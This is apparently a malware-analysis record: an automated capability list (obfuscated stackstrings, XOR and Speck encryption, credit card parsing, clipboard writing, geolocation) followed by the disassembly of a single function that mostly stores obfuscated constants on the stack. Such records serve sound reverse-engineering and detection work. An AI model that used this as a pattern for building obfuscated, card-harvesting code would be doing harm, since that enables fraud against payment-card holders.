Function at 0x14015b510
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Encrypt data using speck
Get common file path
Get geographical location
Manipulate console buffer
Move file
Parse credit card information
Parse pe header
Query environment variable
Set current directory
Set environment variable
Set thread local storage value
Terminate process
Write clipboard data

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x24398
call fcn.14015c580
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x24340], rcx
mov qword [rbp + 0x24348], rdx
mov qword [rbp + 0x24350], r8
mov dword [rbp + 0x24358], r9d
mov dword [rbp + 0x5fb0], 0x5ec52d90
mov byte [rbp + 0x5fa5], 0x65
mov dword [rbp + 0x2418c], 0x4c4c5619
mov dword [rbp + 0x5f94], 0x576c5330
mov dword [rbp + 0x5f68], 0xf3e320c
mov dword [rbp + 0x24188], 0x73b2df10
mov word [rbp + 0x24186], 0xe5d
mov dword [rbp + 0x24180], 0x4f08a34f
mov dword [rbp + 0x5f50], 0x489cfaa9
mov byte [rbp + 0x5f49], 0x1d
mov word [rbp + 0x5f3e], 0x28e
mov dword [rbp + 0x5f34], 0x6f132830
mov byte [rbp + 0x5f17], 0xec
mov dword [rbp + 0x5f00], 0x1aaee487
mov byte [rbp + 0x5ed3], 0x6d
mov word [rbp + 0x5eca], 0xb8e
mov word [rbp + 0x2417e], 0x46a0
mov dword [rbp + 0x24178], 0x2e76994a
mov dword [rbp + 0x24174], 0xff16c67c
mov dword [rbp + 0x5eb0], 0xbe7a66a3
mov byte [rbp + 0x24173], 0x7c
mov dword [rbp + 0x5ea8], 0x3b8c8325
mov dword [rbp + 0x2416c], 0x655b7b8a
mov dword [rbp + 0x24168], 0x281f6a83
mov word [rbp + 0x5e78], 0x87e
mov word [rbp + 0x24166], 0x19f
mov dword [rbp + 0x5e48], 0x74e2092f
mov dword [rbp + 0x24160], 0xd8753872
mov dword [rbp + 0x2415c], 0x537c6ac5
mov dword [rbp + 0x5df8], 0xce7376f0
mov dword [rbp + 0x5de0], 0x323a1d47
mov dword [rbp + 0x5dd0], 0x75364c21
mov dword [rbp + 0x24158], 0x253fcdc1
mov dword [rbp + 0x5db8], 0x3bfc3806
mov word [rbp + 0x5db6], 0x88d
mov byte [rbp + 0x24157], 0x60
mov dword [rbp + 0x5da8], 0x20549b92
mov byte [rbp + 0x24156], 0xcc
mov dword [rbp + 0x5d70], 0xc7716e56
mov word [rbp + 0x5d4a], 0x95e
mov byte [rbp + 0x5d3b], 0xf2
mov dword [rbp + 0x5cfc], 0x3e2dcc12
mov byte [rbp + 0x24155], 0x4e
mov byte [rbp + 0x24154], 9
mov word [rbp + 0x5c3e], 0xf3d
mov dword [rbp + 0x24150], 0x459f0d62
mov dword [rbp + 0x2414c], 0x5cd9d1a9
mov dword [rbp + 0x5c0c], 0xda89523b
mov byte [rbp + 0x2414b], 0x28
mov dword [rbp + 0x24144], 0xc443ab70
mov dword [rbp + 0x5bdc], 0xaf772cc3
mov byte [rbp + 0x5bcf], 0x94
mov dword [rbp + 0x5ba8], 0x46437d9c
mov dword [rbp + 0x24140], 0xc84f8a4d
mov byte [rbp + 0x2413f], 0x66
mov word [rbp + 0x5b64], 0xbcc
mov dword [rbp + 0x5b60], 0x51a1512f
mov dword [rbp + 0x24138], 0x5d5f2232
mov dword [rbp + 0x5b00], 0x8881b8aa
mov byte [rbp + 0x5aff], 0xe6
mov dword [rbp + 0x5af8], 0x7ad50494
mov dword [rbp + 0x5ae0], 0xfd5aded1
mov word [rbp + 0x24136], 0x4e7
mov word [rbp + 0x24134], 0x8b4
mov dword [rbp + 0x24130], 0x66e94bf
mov dword [rbp + 0x5acc], 0x24517f91
mov byte [rbp + 0x5a9f], 0xec
mov dword [rbp + 0x5a98], 0x2a65f9c8
mov word [rbp + 0x5a8c], 0x4e6a
mov word [rbp + 0x5a46], 0x2667
mov dword [rbp + 0x5a38], 0xb1bd148
mov dword [rbp + 0x5a14], 0x38bfe5e2
mov byte [rbp + 0x2412f], 0x6d
mov byte [rbp + 0x2412e], 0x6f
mov dword [rbp + 0x59e0], 0xce612d4e
mov dword [rbp + 0x59d0], 0x6a64a014
mov byte [rbp + 0x2412d], 0xf
mov dword [rbp + 0x5998], 0x72a2d502
mov word [rbp + 0x595e], 0xf86
mov word [rbp + 0x5944], 0x3485
mov word [rbp + 0x5900], 0x33d0
mov dword [rbp + 0x58e8], 0x72890caa
mov dword [rbp + 0x58ac], 0x2b391276
mov byte [rbp + 0x5897], 0x37
mov dword [rbp + 0x24128], 0x16cc6331
mov dword [rbp + 0x586c], 0x2fe6361b
mov dword [rbp + 0x24124], 0x2a3d2187
mov dword [rbp + 0x24120], 0x5fb6bfc0
mov dword [rbp + 0x2411c], 0x29ce027a
mov dword [rbp + 0x24118], 0x255c92e4
mov byte [rbp + 0x24117], 0xc4
mov dword [rbp + 0x24110], 0xc94d16ed
mov byte [rbp + 0x5848], 0xac
mov dword [rbp + 0x2410c], 0x3a80ef6a
mov dword [rbp + 0x5820], 0x51155fa7
mov byte [rbp + 0x580b], 0xc
mov word [rbp + 0x57ea], 0x61fc
mov word [rbp + 0x57d0], 0x45d
mov byte [rbp + 0x2410b], 0xf3
mov dword [rbp + 0x57b8], 0x20a1e913
mov byte [rbp + 0x2410a], 0x94
mov dword [rbp + 0x57a0], 0x5e20954b
mov dword [rbp + 0x24104], 0x2f5c8a0a
mov dword [rbp + 0x24100], 0x715e91b2
mov dword [rbp + 0x240fc], 0x9159ed9
mov word [rbp + 0x5766], 0x4e6
mov dword [rbp + 0x5758], 0x3e535ca3
mov word [rbp + 0x573e], 0x6497
mov byte [rbp + 0x240fb], 0x69
mov word [rbp + 0x240f8], 0x1f2
mov dword [rbp + 0x56f8], 0x44d672
mov dword [rbp + 0x240f4], 0x5936b3a5
mov dword [rbp + 0x240f0], 0xba28d8c0
mov dword [rbp + 0x56e0], 0x511bc3a
mov dword [rbp + 0x56c8], 0xfda9ef9f
mov dword [rbp + 0x56a0], 0xf63e0a83
mov word [rbp + 0x569c], 0x2031
mov word [rbp + 0x566e], 0xa19
mov byte [rbp + 0x5667], 0x6a
mov byte [rbp + 0x5666], 0x27
mov word [rbp + 0x565c], 0x5e7e
mov dword [rbp + 0x5638], 0x7030543b
mov dword [rbp + 0x5620], 0x129ca34b
mov dword [rbp + 0x240ec], 0x2ce977cc
mov word [rbp + 0x5612], 0x62f
mov word [rbp + 0x240ea], 0x47e2
mov dword [rbp + 0x560c], 0x18b41e9d
mov byte [rbp + 0x5607], 0x71
mov dword [rbp + 0x240e4], 0xcaff929
mov word [rbp + 0x55ea], 0xa7f
mov dword [rbp + 0x240e0], 0x179c111d
mov word [rbp + 0x240de], 0x9bb
mov dword [rbp + 0x55d4], 0x53595021
mov dword [rbp + 0x5590], 0x761a18fb
mov dword [rbp + 0x240d8], 0x1de3e42f
mov byte [rbp + 0x5579], 0x63
mov word [rbp + 0x554c], 0x361
mov word [rbp + 0x5532], 0x390e
mov dword [rbp + 0x240d4], 0x53ad2dc1
mov byte [rbp + 0x552b], 0x59
mov word [rbp + 0x5528], 0x274
mov byte [rbp + 0x240d3], 7
mov dword [rbp + 0x240cc], 0x4dad0765
mov byte [rbp + 0x54f3], 0x13
mov dword [rbp + 0x240c8], 0x6cf92968
mov byte [rbp + 0x54bf], 0x76
mov byte [rbp + 0x5463], 0xd1
mov dword [rbp + 0x545c], 0xb5356e4
mov byte [rbp + 0x240c7], 0xf2
mov dword [rbp + 0x5438], 0x42a02a47
mov byte [rbp + 0x5436], 0xa3
mov word [rbp + 0x542e], 0x65a
mov dword [rbp + 0x240c0], 0xe0cc7cea
mov byte [rbp + 0x240bf], 0x7e
mov byte [rbp + 0x53db], 0xce
mov dword [rbp + 0x53d4], 0x3c199e4b
mov dword [rbp + 0x53c8], 0x5a224fe3
mov dword [rbp + 0x53b4], 0x1e2de611
mov dword [rbp + 0x53a0], 0x57c06810
mov word [rbp + 0x538e], 0x4288
mov dword [rbp + 0x5384], 0x4a25c31a
mov dword [rbp + 0x240b8], 0x3fa88961
mov dword [rbp + 0x5354], 0x2f29af35
mov word [rbp + 0x5306], 0xbe9
mov dword [rbp + 0x240b4], 0x3455ebc3
mov dword [rbp + 0x52fc], 0x1aa36c16
mov dword [rbp + 0x52f0], 0x4e302d7e
mov dword [rbp + 0x240b0], 0x3a27bd4f
mov byte [rbp + 0x52bf], 0x9d
mov word [rbp + 0x240ae], 0x37f
mov dword [rbp + 0x52a4], 0x121531b8
mov byte [rbp + 0x240ad], 0xc
mov dword [rbp + 0x240a8], 0x41ae43a3
mov dword [rbp + 0x240a4], 0xb18b41ba
mov word [rbp + 0x5272], 0xe4a
mov dword [rbp + 0x240a0], 0xfbfeefeb
mov byte [rbp + 0x5267], 0x4d
mov dword [rbp + 0x5238], 0x1aa18862
mov dword [rbp + 0x2409c], 0x2bc26f33
mov dword [rbp + 0x24098], 0xb378956d
mov byte [rbp + 0x51fb], 0x82
mov dword [rbp + 0x24094], 0x3fb496ae
mov dword [rbp + 0x24090], 0x4b11287d
mov dword [rbp + 0x51c0], 0x38f3a8ae
mov byte [rbp + 0x2408f], 0xb7
mov dword [rbp + 0x24088], 0x3ad4b586
mov byte [rbp + 0x51b7], 0x5b
mov dword [rbp + 0x51b0], 0x762d5ffa
mov byte [rbp + 0x24087], 0x1b
mov word [rbp + 0x5186], 0x344b
mov dword [rbp + 0x24080], 0x4e2a7730
mov dword [rbp + 0x5160], 0x3d845fe6
mov dword [rbp + 0x2407c], 0x586c5b55
mov word [rbp + 0x5146], 0x265
mov byte [rbp + 0x513d], 0x2b
lea rax, [rbp + 0x5100]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.14015c9f0
mov byte [rbp + 0x50ff], 0x64
mov dword [rbp + 0x50f0], 0x5986f343
mov dword [rbp + 0x50e8], 0x4ed6ba5b
mov dword [rbp + 0x50e0], 0xe8348c8d
mov dword [rbp + 0x24078], 0x2537ab54
mov dword [rbp + 0x24074], 0x8865f495
mov word [rbp + 0x506e], 0xe4d
mov dword [rbp + 0x24070], 0x3f7eaa0
mov dword [rbp + 0x2406c], 0x2dca9ca2
mov word [rbp + 0x503e], 0xed9
mov dword [rbp + 0x24068], 0x60c65129
mov dword [rbp + 0x501c], 0xc868254a
mov dword [rbp + 0x5000], 0x2cdd91d8
mov dword [rbp + 0x24064], 0x1675a7a5
mov dword [rbp + 0x4fcc], 0xfc39aa9
mov dword [rbp + 0x24060], 0x2e5ad461
mov word [rbp + 0x4fbe], 0x14de
mov dword [rbp + 0x2405c], 0x1580c137
mov dword [rbp + 0x24058], 0x6a3d3334
mov word [rbp + 0x24056], 0xbfc
mov dword [rbp + 0x24050], 0x6d18cd4f
mov word [rbp + 0x4fba], 0xbc6
mov word [rbp + 0x2404e], 0xafa
mov dword [rbp + 0x4fa8], 0x45de068a
mov word [rbp + 0x2404c], 0x189
mov word [rbp + 0x4f2e], 0x35fd
mov dword [rbp + 0x24048], 0xb13b3e4a
mov byte [rbp + 0x4f1f], 0x71
mov dword [rbp + 0x24044], 0x7920fbeb
mov dword [rbp + 0x4ef0], 0x55f6bdd5
mov dword [rbp + 0x4eec], 0x778f8486
mov word [rbp + 0x24042], 0x95d
mov dword [rbp + 0x4ee0], 0x78761477
mov byte [rbp + 0x24041], 0xbe
mov dword [rbp + 0x2403c], 0xe0deed6
mov dword [rbp + 0x24038], 0xaeafbb43
mov dword [rbp + 0x24034], 0x51a7284
mov dword [rbp + 0x4e6c], 0x4411f3e8
mov dword [rbp + 0x4e64], 0xa25a4106
mov dword [rbp + 0x4e58], 0x1d2d120f
mov word [rbp + 0x24032], 0xd1e
mov dword [rbp + 0x4dfc], 0x333e340a
mov byte [rbp + 0x24031], 6
mov dword [rbp + 0x4dcc], 0x9a76a7c0
mov dword [rbp + 0x4db4], 0xf624a454
mov word [rbp + 0x2402e], 0xfdc
mov dword [rbp + 0x24028], 0x5d785eb
mov dword [rbp + 0x24024], 0x269e5015
mov dword [rbp + 0x24020], 0x32dd6b86
mov dword [rbp + 0x2401c], 0x33076fe8
mov dword [rbp + 0x24018], 0x1cafc375
mov word [rbp + 0x4d2e], 0x107c
mov dword [rbp + 0x4d24], 0x4314c4ce
mov dword [rbp + 0x4d20], 0x2efc985f
mov word [rbp + 0x24016], 0x475
mov dword [rbp + 0x4d00], 0xaebbfbf
mov dword [rbp + 0x4cec], 0x163c9761
mov dword [rbp + 0x24010], 0x74a9353f
mov dword [rbp + 0x4cd8], 0x6799661a
mov word [rbp + 0x2400e], 0xd2e
mov dword [rbp + 0x24008], 0x6cca421f
mov dword [rbp + 0x4cc4], 0xf5776d72
mov word [rbp + 0x453e], 0xf56
mov dword [rbp + 0x24004], 0x23cd1a94
mov dword [rbp + 0x4538], 0x5224f70b
mov word [rbp + 0x24002], 0x6869
mov byte [rbp + 0x24001], 0xc3
mov byte [rbp + 0x4523], 0x6c
mov byte [rbp + 0x4503], 0x2c
mov dword [rbp + 0x23ffc], 0x9cbf9e2
mov dword [rbp + 0x44e0], 0x2ae5dcc2
mov dword [rbp + 0x23ff8], 0x474f4c0a
mov word [rbp + 0x23ff6], 0x3795
mov dword [rbp + 0x23ff0], 0x744e98a2
mov dword [rbp + 0x44a8], 0x6f9b3b40
mov byte [rbp + 0x4495], 0xa8
mov byte [rbp + 0x4477], 0xe8
mov dword [rbp + 0x23fec], 0x5647a4a2
mov dword [rbp + 0x23fe8], 0x8f3ec02a
mov dword [rbp + 0x43f4], 0x7ed2ba54
mov byte [rbp + 0x23fe7], 0x41
mov dword [rbp + 0x23fe0], 0xa39c4657
mov byte [rbp + 0x43a2], 0x4c
lea rax, [rbp + 0x4380]
mov rcx, rax
call fcn.14015ca40
mov dword [rbp + 0x4350], 0x1c6fb26f
mov word [rbp + 0x23fde], 0x6cea
mov dword [rbp + 0x23fd8], 0x3ce59557
mov word [rbp + 0x4322], 0x597f
mov dword [rbp + 0x4304], 0x52123254
mov byte [rbp + 0x23fd7], 0xba
mov word [rbp + 0x418a], 0x4ee8
mov byte [rbp + 0x4167], 0xa
mov dword [rbp + 0x23fd0], 0xd1eca87
mov dword [rbp + 0x411c], 0x9dacf0f8
mov word [rbp + 0x40ee], 0x6b2e
mov dword [rbp + 0x40e0], 0x11401563
mov byte [rbp + 0x40d3], 0x72
mov dword [rbp + 0x40bc], 0x2210139c
mov dword [rbp + 0x40b0], 0x223b4bca
mov dword [rbp + 0x40a4], 0x2932b01
mov dword [rbp + 0x23fcc], 0x1bf2d7d3
mov dword [rbp + 0x4090], 0x1375c456
mov dword [rbp + 0x23fc8], 0x1f53cf68
mov dword [rbp + 0x4064], 0x45fd3ef
mov dword [rbp + 0x4058], 0x23a0a401
mov dword [rbp + 0x404c], 0x4e155627
mov byte [rbp + 0x4033], 0xd1
mov byte [rbp + 0x23fc7], 0x4e
mov dword [rbp + 0x4020], 0x31fcacd8
mov byte [rbp + 0x401d], 0xcb
mov byte [rbp + 0x3fa9], 0x16
mov word [rbp + 0x23fc4], 0x42
mov word [rbp + 0x3f8e], 0x645
mov byte [rbp + 0x3f8d], 0x37
mov dword [rbp + 0x23fc0], 0x371b2522
mov byte [rbp + 0x3f73], 0x64
mov dword [rbp + 0x23fbc], 0x5abc3571
mov word [rbp + 0x23fba], 0xd65
mov dword [rbp + 0x3f28], 0x4a9b4f9b
mov dword [rbp + 0x3f24], 0xe46f5ab
mov dword [rbp + 0x3f1c], 0x5d99a14d
mov dword [rbp + 0x3ef8], 0x3f4160fc
mov dword [rbp + 0x23fb4], 0x6724abf2
mov dword [rbp + 0x23fb0], 0x16044514
mov dword [rbp + 0x3ea0], 0x347882a5
mov byte [rbp + 0x3e7b], 0x4d
mov word [rbp + 0x3e76], 0x5dc
mov word [rbp + 0x3e66], 0x422
mov dword [rbp + 0x3e5c], 0x48cb18fa
mov byte [rbp + 0x3e27], 0x5b
mov word [rbp + 0x3e24], 0x887
mov dword [rbp + 0x3e18], 0x291b8aec
mov dword [rbp + 0x3e14], 0x2288f702
mov dword [rbp + 0x23fac], 0x2254fad1
mov byte [rbp + 0x3ddd], 0x1c
mov dword [rbp + 0x23fa8], 0xdafd8a99
mov dword [rbp + 0x3d84], 0x8f3eeff7
mov dword [rbp + 0x3d50], 0x96f5e571
mov dword [rbp + 0x23fa4], 0x6023b822
mov dword [rbp + 0x3d20], 0x619523f1
mov dword [rbp + 0x23fa0], 0x21b1938e
mov dword [rbp + 0x23f9c], 0x129bdbd0
mov dword [rbp + 0x3cf8], 0xe402548b
mov byte [rbp + 0x3cef], 0x70
mov word [rbp + 0x23f9a], 0x64
mov dword [rbp + 0x3cd8], 0x641f74dc
mov byte [rbp + 0x3cd1], 0x54
mov dword [rbp + 0x23f94], 0x6219c6a2
mov byte [rbp + 0x3cbf], 0x60
mov dword [rbp + 0x3ca4], 0x4ea5d22b
mov dword [rbp + 0x23f90], 0x43ea4750
mov dword [rbp + 0x3c80], 0x554c6c23
mov dword [rbp + 0x23f8c], 0x81c8e338
mov word [rbp + 0x3c56], 0x199
mov dword [rbp + 0x3bd4], 0x149c39f6
mov dword [rbp + 0x3bb8], 0x11aff7f0
mov dword [rbp + 0x23f88], 0x7ff980a4
mov word [rbp + 0x3baa], 0x445
mov dword [rbp + 0x23f84], 0x350c9755
mov byte [rbp + 0x23f83], 0x73
mov dword [rbp + 0x3b7c], 0x4a276cdb
mov dword [rbp + 0x3b68], 0x63f4f585
mov dword [rbp + 0x3b60], 0x107cf750
mov word [rbp + 0x23f80], 0xf31
mov byte [rbp + 0x3ad3], 0xc9
mov byte [rbp + 0x3ab5], 0x63
mov dword [rbp + 0x23f7c], 0x11211d09
mov dword [rbp + 0x3a78], 0x334289de
mov word [rbp + 0x3a72], 0xe21
mov word [rbp + 0x23f7a], 0x7fa
mov byte [rbp + 0x3a3b], 0x2d
mov dword [rbp + 0x3a34], 0x585add19
mov dword [rbp + 0x3a2c], 0x26914846
mov dword [rbp + 0x23f74], 0x4ce7365e
mov dword [rbp + 0x399c], 0xa9985304
mov byte [rbp + 0x399b], 0xb1
mov dword [rbp + 0x23f70], 0x5ce0cce5
mov dword [rbp + 0x23f6c], 0x3858dfe1
mov dword [rbp + 0x23f68], 0x5082f937
mov dword [rbp + 0x397c], 0xd47144e7
mov word [rbp + 0x23f66], 0x70b2
mov byte [rbp + 0x23f65], 0x60
mov word [rbp + 0x23f62], 0x6b58
mov byte [rbp + 0x23f61], 0x32
mov dword [rbp + 0x23f5c], 0xe8a71daf
mov byte [rbp + 0x38fb], 0xe
mov word [rbp + 0x23f5a], 0x7dc5
mov byte [rbp + 0x38aa], 0xdd
mov word [rbp + 0x3890], 0xe71
mov word [rbp + 0x23f58], 0x11e
mov dword [rbp + 0x23f54], 0x30a7bbf9
mov dword [rbp + 0x386c], 0xc0aa27f6
mov byte [rbp + 0x385f], 0x3e
mov byte [rbp + 0x384a], 0x30
mov byte [rbp + 0x3843], 0x6a
mov byte [rbp + 0x23f53], 0x60
mov word [rbp + 0x23f50], 0xd58
mov word [rbp + 0x23f4e], 0xb20
mov dword [rbp + 0x23f48], 0x2abe999c
mov dword [rbp + 0x23f44], 0x51df1f7f
mov byte [rbp + 0x3763], 0x84
mov dword [rbp + 0x23f40], 0x7986b58b
mov word [rbp + 0x3746], 0x11b
mov byte [rbp + 0x3745], 0x56
mov dword [rbp + 0x23f3c], 0x400ca978
mov byte [rbp + 0x23f3b], 0x17
mov word [rbp + 0x23f38], 0xfd8
mov dword [rbp + 0x36e8], 0x33cd052b
mov dword [rbp + 0x36d0], 0x5fbddcbb
mov word [rbp + 0x36aa], 0xe2c
mov dword [rbp + 0x3694], 0x68b16395
mov byte [rbp + 0x361b], 0xdf
mov dword [rbp + 0x23f34], 0x35618224
mov word [rbp + 0x23f32], 0x239
mov byte [rbp + 0x35db], 0x3d
mov dword [rbp + 0x35b8], 0x4089480
mov word [rbp + 0x23f30], 0x22
mov dword [rbp + 0x3580], 0x2b665ffa
mov dword [rbp + 0x357c], 0x108d56e1
mov dword [rbp + 0x23f2c], 0x1eb62568
mov dword [rbp + 0x23f28], 0x29286308
mov dword [rbp + 0x3554], 0x253a751e
mov dword [rbp + 0x3550], 0x6f0ea18a
mov dword [rbp + 0x3538], 0x16d4a111
mov dword [rbp + 0x3530], 0x2ee239cf
mov dword [rbp + 0x23f24], 0x844fe76d
mov dword [rbp + 0x3524], 0x32e951a4
mov dword [rbp + 0x23f20], 0xd738b5aa
mov dword [rbp + 0x3510], 0x3611eee3
mov word [rbp + 0x23f1e], 0x76
mov dword [rbp + 0x23f18], 0x2df7c0ff
mov byte [rbp + 0x34dd], 0x4f
mov word [rbp + 0x23f16], 0x57ad
mov dword [rbp + 0x34d0], 0x14266463
mov word [rbp + 0x23f14], 0x9d8
mov dword [rbp + 0x23f10], 0x7e6ce675
mov dword [rbp + 0x34bc], 0x78c4b758
mov dword [rbp + 0x34b4], 0x3b6ea87e
mov word [rbp + 0x34a6], 0xb2c
mov dword [rbp + 0x23f0c], 0xbb7cb4
mov byte [rbp + 0x23f0b], 0xd5
mov word [rbp + 0x348e], 0x4e9c
mov word [rbp + 0x345a], 0x6c0
mov byte [rbp + 0x344b], 2
mov byte [rbp + 0x344a], 0xe
mov byte [rbp + 0x3441], 0xca
mov byte [rbp + 0x23f0a], 0x5a
mov dword [rbp + 0x341c], 0x22ce618d
mov word [rbp + 0x3410], 0x9a9
mov byte [rbp + 0x3403], 0x5e
mov dword [rbp + 0x33f4], 0x189ee094
mov dword [rbp + 0x33d8], 0xa64870fc
mov word [rbp + 0x3382], 0x6a79
mov dword [rbp + 0x3374], 0x535cbd4a
mov byte [rbp + 0x3372], 0x70
mov word [rbp + 0x336e], 0x584
mov word [rbp + 0x335a], 0x418
mov dword [rbp + 0x334c], 0x19cb8c66
mov dword [rbp + 0x3330], 0x382369ae
mov word [rbp + 0x23f08], 0xe2a
mov dword [rbp + 0x331c], 0xccf72af
mov byte [rbp + 0x32f6], 0x34
mov dword [rbp + 0x23f04], 0x76a9127
mov word [rbp + 0x32f4], 0x67d
mov dword [rbp + 0x32e4], 0x34b56a22
mov dword [rbp + 0x32b8], 0xd48b135
mov dword [rbp + 0x23f00], 0x72a38f4
mov dword [rbp + 0x32a8], 0x5bdb7245
mov dword [rbp + 0x3280], 0x44fcb12d
mov dword [rbp + 0x23efc], 0x56b1b02
mov dword [rbp + 0x23ef8], 0xc6105b4b
mov dword [rbp + 0x23ef4], 0x4a08d6f6
mov word [rbp + 0x23ef2], 0x9a0
mov dword [rbp + 0x3228], 0x8d2df525
mov dword [rbp + 0x320c], 0x55cdc7bf
mov byte [rbp + 0x23ef1], 0x40
mov word [rbp + 0x23eee], 0xc98
mov dword [rbp + 0x23ee8], 0x12c1aab9
mov word [rbp + 0x23ee6], 0x1c4
mov word [rbp + 0x31ca], 0x26
mov dword [rbp + 0x23ee0], 0x935e0b2d
mov dword [rbp + 0x3180], 0x3db7c6f1
mov byte [rbp + 0x23edf], 0x2c
mov word [rbp + 0x3130], 0x4b8d
mov word [rbp + 0x23edc], 0x9cd
mov dword [rbp + 0x23ed8], 0x57893f01
mov word [rbp + 0x23ed6], 0x12c
mov dword [rbp + 0x30e0], 0xd0779468
mov dword [rbp + 0x30dc], 0x7adca552
mov dword [rbp + 0x30cc], 0x6e0656a6
mov byte [rbp + 0x30c7], 0xe6
mov word [rbp + 0x30c4], 0xf8a
mov dword [rbp + 0x30b4], 0x9cb8354
mov byte [rbp + 0x23ed5], 0x50
mov word [rbp + 0x23ed2], 0x209
mov dword [rbp + 0x3084], 0x19520b89
mov byte [rbp + 0x306f], 0x4e
mov byte [rbp + 0x3053], 0x68
mov dword [rbp + 0x23ecc], 0x2ac47928
mov byte [rbp + 0x23ecb], 0xde
mov dword [rbp + 0x302c], 0x595d3ff1
mov dword [rbp + 0x2fec], 0x77a65d8e
mov dword [rbp + 0x23ec4], 0x40758f49
mov dword [rbp + 0x23ec0], 0xd1126a82
mov byte [rbp + 0x2fc7], 0x9e
mov dword [rbp + 0x23ebc], 0x168b24e5
mov dword [rbp + 0x2fb0], 0x21747de8
mov dword [rbp + 0x2fac], 0x4e035398
mov word [rbp + 0x2e26], 0x5911
mov byte [rbp + 0x23ebb], 0x5b
mov dword [rbp + 0x2e08], 0xc829e4cc
mov byte [rbp + 0x2dff], 0xc0
mov dword [rbp + 0x2df0], 0x7bc5b7f8
mov word [rbp + 0x2dd6], 0x9fc
mov word [rbp + 0x2dd0], 0x2b4
mov dword [rbp + 0x23eb4], 0x523c974c
mov dword [rbp + 0x2db4], 0xff3a1d1
mov dword [rbp + 0x23eb0], 0xd9a8c2b4
mov word [rbp + 0x2da6], 0x2561
mov byte [rbp + 0x2d87], 0x31
mov dword [rbp + 0x23eac], 0x5e747fe8
mov dword [rbp + 0x23ea8], 0x1c4b44a3
mov word [rbp + 0x2d6a], 0x5ea
mov word [rbp + 0x23ea6], 0xf7f
mov dword [rbp + 0x23ea0], 0x4637633d
mov byte [rbp + 0x2d4f], 0x3d
mov byte [rbp + 0x2d44], 0xb3
mov dword [rbp + 0x23e9c], 0xe18303d6
mov dword [rbp + 0x23e98], 0x5f3524b5
mov byte [rbp + 0x2d0b], 0x19
mov dword [rbp + 0x2cfc], 0x1395b2b4
mov dword [rbp + 0x23e94], 0x1eebaca2
mov word [rbp + 0x2cde], 0xbec
mov byte [rbp + 0x23e93], 0x54
mov dword [rbp + 0x2cac], 0x39f9afea
mov word [rbp + 0x23e90], 0xdb7
mov byte [rbp + 0x23e8f], 0x26
mov dword [rbp + 0x2c8c], 0x132aaaac
mov byte [rbp + 0x2c63], 0x27
mov dword [rbp + 0x23e88], 0x6411b1df
mov word [rbp + 0x23e86], 0x9e2
mov byte [rbp + 0x2c47], 0x3b
mov dword [rbp + 0x2c38], 0x7e60ca34
mov dword [rbp + 0x2bec], 0xc1321ad
mov dword [rbp + 0x2be8], 0x26ec6780
mov dword [rbp + 0x2be0], 0x7af1b34f
mov dword [rbp + 0x2bdc], 0x6b86636b
mov byte [rbp + 0x23e85], 0x4d
mov byte [rbp + 0x23e84], 0xc3
mov byte [rbp + 0x2b92], 4
mov byte [rbp + 0x2b77], 0x17
mov dword [rbp + 0x23e80], 0xd66f1227
mov byte [rbp + 0x23e7f], 0xb3
mov dword [rbp + 0x2b44], 0xbd8c397d
mov word [rbp + 0x2b42], 0x40c6
mov dword [rbp + 0x2b14], 0x5a409d63
mov dword [rbp + 0x23e78], 0x7f7c8a2a
mov dword [rbp + 0x23e74], 0x601606f8
mov word [rbp + 0x2ae0], 0x36d4
mov dword [rbp + 0x2ad8], 0x10f9bbdf
mov dword [rbp + 0x2ad0], 0x1ebc2aef
mov byte [rbp + 0x2ac7], 0xd2
mov dword [rbp + 0x23e70], 0x70893079
mov dword [rbp + 0x2ab0], 0x3bbfa9c9
mov dword [rbp + 0x2a98], 0x48dafde9
mov dword [rbp + 0x2a7c], 0xf7367b9b
mov word [rbp + 0x23e6e], 0x9e8
mov byte [rbp + 0x2a63], 0x8d
mov dword [rbp + 0x2a34], 0x4aab789
mov word [rbp + 0x23e6c], 0x78b
mov dword [rbp + 0x29e4], 0x9909ccfa
mov dword [rbp + 0x29d8], 0x7ba0d8f5
mov word [rbp + 0x29ca], 0xd70
mov dword [rbp + 0x29ac], 0x2ae3c6c4
mov dword [rbp + 0x2980], 0x4d9b60da
mov dword [rbp + 0x2970], 0x5f8c5340
mov dword [rbp + 0x23e68], 0x72ce0c66
mov dword [rbp + 0x23e64], 0x629073d5
mov word [rbp + 0x295a], 0x5b1
mov dword [rbp + 0x23e60], 0x3ad7baba
mov word [rbp + 0x2952], 0x36d
mov byte [rbp + 0x2943], 1
mov word [rbp + 0x23e5e], 0x3074
mov dword [rbp + 0x2930], 0x1895a732
mov dword [rbp + 0x2900], 0x1e597cee
mov dword [rbp + 0x23e58], 0x419299d8
mov dword [rbp + 0x23e54], 0x8a75c671
mov byte [rbp + 0x286b], 0x6a
mov dword [rbp + 0x2850], 0x55a23f31
mov byte [rbp + 0x2843], 0xf
mov byte [rbp + 0x23e53], 0x8e
mov dword [rbp + 0x27f8], 0x2413d6c1
mov dword [rbp + 0x27ec], 0x3263c73c
mov word [rbp + 0x23e50], 0xa18
mov dword [rbp + 0x27d0], 0xba5929fa
mov dword [rbp + 0x23e4c], 0x490baae9
mov dword [rbp + 0x23e48], 0x8f0e8374
mov byte [rbp + 0x27b7], 0xe5
mov word [rbp + 0x2772], 0x991
mov dword [rbp + 0x23e44], 0x48159349
mov dword [rbp + 0x23e40], 0x4c1861d4
mov dword [rbp + 0x26f0], 0x33be46e4
mov dword [rbp + 0x26e0], 0x2146efe5
mov byte [rbp + 0x26dd], 0x1e
mov dword [rbp + 0x23e3c], 0x79ed43d4
mov dword [rbp + 0x269c], 0x58a63ba9
mov dword [rbp + 0x2698], 0x3856ab22
mov byte [rbp + 0x268d], 0xfd
mov dword [rbp + 0x2678], 0x4b6b4ae9
mov dword [rbp + 0x2674], 0x17537a8a
mov dword [rbp + 0x265c], 0x4ecded01
mov word [rbp + 0x23e3a], 0x6a9c
mov dword [rbp + 0x2614], 0x448047e6
mov dword [rbp + 0x25f8], 0x117cf28a
mov byte [rbp + 0x25df], 0xc6
mov dword [rbp + 0x23e34], 0xa303b57a
mov word [rbp + 0x23e32], 0x659
mov dword [rbp + 0x25a4], 0x30de3c75
mov dword [rbp + 0x23e2c], 0x3c7ed5b5
mov word [rbp + 0x2572], 0x87c
mov dword [rbp + 0x2534], 0x645495c3
mov byte [rbp + 0x24dd], 0x88
mov word [rbp + 0x24c6], 0x6578
mov word [rbp + 0x23e2a], 0x342e
